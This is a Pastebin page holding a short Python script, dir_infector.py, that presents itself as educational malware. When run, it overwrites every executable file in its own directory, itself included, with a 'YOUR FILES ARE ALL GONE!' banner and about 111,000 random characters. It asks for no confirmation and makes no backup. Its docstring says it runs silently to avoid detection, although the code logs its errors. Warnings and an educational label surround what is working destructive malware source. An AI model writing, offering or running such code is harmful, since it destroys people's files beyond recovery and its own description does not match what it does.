Advertisement
Python253

dir_infector

May 25th, 2024
781
1
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.44 KB | None | 1 0
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-
  3. # Filename: dir_infector.py
  4. # Version: 1.0.2
  5. # Author: Jeoi Reqi
  6.  
  7. """
  8. Description:
  9.  
  10.    - The "FileInfector" class represents a hypothetical malware utility.
  11.    - It's designed for educational purposes to demonstrate how code injection works in files within a single directory.
  12.    - Files within the specified directory get "infected" with a randomly generated malicious payload.
  13.  
  14. **
  15. WARNING:
  16.    ! THIS SCRIPT WILL OVERWRITE ALL FILES IN THE SPECIFIED DIRECTORY WITH THE MALICIOUS PAYLOAD!
  17.    ! ADDITIONALLY, THE PAYLOAD WILL INJECT INTO THIS SCRIPT, OVERWRITING ITS CONTENTS!
  18.    ! RUNNING THIS SCRIPT WITHOUT PROPER PRECAUTIONS CAN LEAD TO IRREVERSIBLE DATA LOSS, INCLUDING THE SCRIPT ITSELF!
  19.    ! ALWAYS KEEP A BACKUP AND RUN THIS SCRIPT ONLY IN A SAFE ENVIRONMENT WHERE NO IMPORTANT FILES ARE PRESENT!
  20.    ! EXERCISE EXTREME CAUTION!
  21. **
  22.  
  23. This example malware consists of the following components:
  24.  
  25. 1. FileInfector Class:
  26.    - This class serves as the core of the malware.
  27.    - It includes methods for infecting or "vaccinating" files in a single directory.
  28.    - The randomly generated payload is combined with a predefined malicious message.
  29.  
  30. 2. Attributes:
  31.   - `name`: Represents the name of the vaccination utility.
  32.  
  33. 3. Methods:
  34.    - `__init__(self, name)`:
  35.          Initializes a new instance of the FileInfector class with a provided name.
  36.    - `name.setter`:
  37.          Sets the name of the utility.
  38.    - `malicious_code`:
  39.          Generates a random malicious payload.
  40.    - `infect_files_in_directory(directory)`:
  41.          Infects files in the specified directory.
  42.  
  43. Real Results of the Functions:
  44.  
  45.    - Upon execution, the malware generates a malicious payload.
  46.    - It traverses through all files in the specified directory.
  47.    - For each file found, the malware attempts to inject the payload.
  48.    - If successful, the file is considered "infected," and the count increments.
  49.    - The malware operates silently, ignoring errors to avoid detection.
  50.    - While the primary purpose is educational, showing code injection and its potential consequences, it can cause irreversible damage to files.
  51.    - Exercise extreme caution when using this script.
  52. """
  53.  
  54. import logging
  55. import os
  56. import random
  57. import string
  58. from textwrap import dedent, wrap
  59. import sys
  60.  
  61. class FileInfector:
  62.     """ This class represents the code injecting malware. """
  63.  
  64.     def __init__(self, name):
  65.         self._name = name
  66.  
  67.     @property
  68.     def name(self):
  69.         """ Name of the malware. """
  70.         return self._name
  71.     @name.setter
  72.     def name(self, new_name):
  73.         self._name = new_name
  74.  
  75.     @property
  76.     def malicious_code(self):
  77.         """ Malicious code generation (hypothetical for educational purposes). """
  78.         random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=111020))
  79.         wrapped_string = '\n'.join(wrap(random_string, width=70))
  80.         return dedent(
  81.             f"""
  82.                    MALWARE INJECTION PASSED!
  83.                    YOUR FILES ARE ALL GONE!
  84.  
  85. {wrapped_string}
  86.            """
  87.         )
  88.  
  89.     def infect_files_in_directory(self, directory):
  90.         """ Perform file infection on all files in the given directory. """
  91.         num_infected_files = 0
  92.         for file_name in os.listdir(directory):
  93.             file_path = os.path.join(directory, file_name)
  94.             if os.path.isfile(file_path) and os.access(file_path, os.X_OK):
  95.                 try:
  96.                     with open(file_path, 'w', encoding='utf-8') as infected_file:
  97.                         infected_file.write(self.malicious_code)
  98.                     num_infected_files += 1
  99.                 except (IOError, OSError) as e:
  100.                     logging.error(f"Failed to write to {file_path}: {e}")
  101.         return num_infected_files
  102.  
  103. if __name__ == '__main__':
  104.     # Configure logging
  105.     logging.basicConfig(level=logging.INFO)
  106.    
  107.     # Create an instance of the FileInfector class
  108.     code_injector = FileInfector('SimpleFileInfector')
  109.    
  110.     # Get the directory path of the current script
  111.     path = os.path.dirname(os.path.abspath(__file__))
  112.    
  113.     # Infect files in the directory
  114.     number_infected_files = code_injector.infect_files_in_directory(path)
  115.    
  116.     # Log the number of infected files
  117.     logging.info(f'Number of infected files: {number_infected_files}')
  118.    
  119.     # Exit the script after completion
  120.     sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement